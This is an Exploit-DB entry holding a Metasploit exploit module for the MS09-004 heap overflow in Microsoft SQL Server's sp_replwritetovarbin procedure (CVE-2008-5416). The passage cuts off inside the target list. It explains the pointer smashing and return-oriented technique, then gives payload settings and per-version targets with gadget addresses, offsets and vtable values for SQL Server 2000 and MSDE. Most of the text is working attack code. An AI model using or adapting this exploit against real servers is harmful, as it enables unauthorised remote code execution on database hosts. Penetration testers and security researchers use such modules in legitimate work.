Exploit-DB #16392
Description: Microsoft SQL Server - sp_replwritetovarbin Memory Corruption (MS09-004) (Metasploit)
Type: remote
Platform: windows
Date: 2011-01-24
Author: Metasploit

Exploit:
##
# $Id: ms09_004_sp_replwritetovarbin.rb 11631 2011-01-24 19:37:58Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::MSSQL

	def initialize(info = {})

		super(update_info(info,
			'Name'           => 'Microsoft SQL Server sp_replwritetovarbin Memory Corruption',
			'Description'    => %q{
					A heap-based buffer overflow can occur when calling the undocumented
				"sp_replwritetovarbin" extended stored procedure. This vulnerability affects
				all versions of Microsoft SQL Server 2000 and 2005, Windows Internal Database,
				and Microsoft Desktop Engine (MSDE) without the updates supplied in MS09-004.
				Microsoft patched this vulnerability in SP3 for 2005 without any public
				mention.

				An authenticated database session is required to access the vulnerable code.
				That said, it is possible to access the vulnerable code via an SQL injection
				vulnerability.

				This exploit smashes several pointers, as shown below.

				1. pointer to a 32-bit value that is set to 0
				2. pointer to a 32-bit value that is set to a length influcenced by the buffer
					length.
				3. pointer to a 32-bit value that is used as a vtable pointer. In MSSQL 2000,
					this value is referenced with a displacement of 0x38. For MSSQL 2005, the
					displacement is 0x10. The address of our buffer is conveniently stored in
					ecx when this instruction is executed.
				4. On MSSQL 2005, an additional vtable ptr is smashed, which is referenced with
					a displacement of 4. This pointer is not used by this exploit.

				This particular exploit replaces the previous dual-method exploit. It uses
				a technique where the value contained in ecx becomes the stack. From there,
				return oriented programming is used to normalize the execution state and
				finally execute the payload via a "jmp esp". All addresses used were found
				within the sqlservr.exe memory space, yielding very reliable code execution
				using only a single query.

				NOTE: The MSSQL server service does not automatically restart by default. That
				said, some exceptions are caught and will not result in terminating the process.
				If the exploit crashes the service prior to hijacking the stack, it won't die.
				Otherwise, it's a goner.
			},
			'Author'         => [ 'jduck' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 11631 $',
			'References'     =>
				[
					[ 'OSVDB', '50589' ],
					[ 'CVE', '2008-5416' ],
					[ 'BID', '32710' ],
					[ 'MSB', 'MS09-004' ],
					[ 'URL', 'http://www.milw0rm.com/exploits/7501' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},
			'Payload'        =>
				{
					'Space'    => 512,
					'BadChars' => "", # bad bytes get encoded!
					'PrependEncoder' => "\x81\xc4\xf0\xef\xff\xff",
					'DisableNops' => true
				},
			'Platform'       => 'win',
			'Privileged'     => true,
			'Targets'        =>
				[
					# auto targeting!
					[ 'Automatic', { } ],

					#
					# Individual targets
					#
					[
						# Microsoft SQL Server  2000 - 8.00.194 (Intel X86)
						# Aug  6 2000 00:57:48
						'MSSQL 2000 / MSDE SP0 (8.00.194)',
						{
							'Num'      => 32,          # value for "start_offset"
							'VtOff'    => -13,         # offset from 'Num' to smashed vtable ptr
							'VtDisp'   => 0x38,        # displacement from call [eax+0x38] crash
							'Writable' => 0x42b6cfe0,  # any writable addr (not even necessary really)
							'Vtable'   => 0x00a87f26,  # becomes eax for [eax+0x38] (must be valid to exec)
							'FixDisp'  => 0x6900a7,    # not directly used - call [ecx+0x08]
							'Disp'     => 0x08,        # displacement on call [ecx+disp] used
							'ecx2esp'  => 0x0041b78f,  # xchg ecx,esp / sbb [eax],al / pop esi / ret
							'Popped'   => 0x4,         # byte count popped in above (before ret)
							'Offset'   => 0x28,        # offset to the new stack!
							'FixESP'   => 0x0071f5fb,  # advance esp to next ret (add esp,0x20 / ret)
							'Ret'      => 0x0041c9a2   # jmp esp
						},
					],

					[
						# Microsoft SQL Server  2000 - 8.00.384 (Intel X86)
						# May 23 2001 00:02:52
						'MSSQL 2000 / MSDE SP1 (8.00.384)',
						{
							'Num'      => 32,          # value for "start_offset"
							'VtOff'    => -13,         # offset from 'Num' to smashed vtable ptr
							'VtDisp'   => 0x38,        # displacement from call [eax+0x38] crash
							'Writable' => 0x42b6cfe0,  # any writable addr (not even necessary really)
							'Vtable'   => 0x00a95b2f,  # becomes eax for [eax+0x38] (must be valid to exec)
							'FixDisp'  => 0x4b4f00,    # not directly used - call [ecx-0x18]
							'Disp'     => 0x34,        # displacement on call [ecx+disp] used
							'ecx2esp'  => 0x0044d300,  # xchg ecx,esp / add [eax],al / add [edi+0x5e],bl / pop ebx / pop ebp / ret
							'Popped'   => 0x8,         # byte count popped in above (before ret)
							'Offset'   => 0x28,        # offset to the new stack!
							'FixESP'   => 0x004a2ce9,  # advance esp to next ret (add esp,0x1c / ret)
							'Ret'      => 0x004caa15   # jmp esp
						},
					],

					[
						# Microsoft SQL Server  2000 - 8.00.534 (Intel X86)
						# Nov 19 2001 13:23:50
						'MSSQL 2000 / MSDE SP2 (8.00.534)',
						{
							'Num'      => 32,          # value for "start_offset"
							'VtOff'    => -13,         # offset from 'Num' to smashed vtable ptr
							'VtDisp'   => 0x38,        # displacement from call [eax+0x38] crash
							'Writable' => 0x42b6cfe0,  # any writable addr (not even necessary really)
							'Vt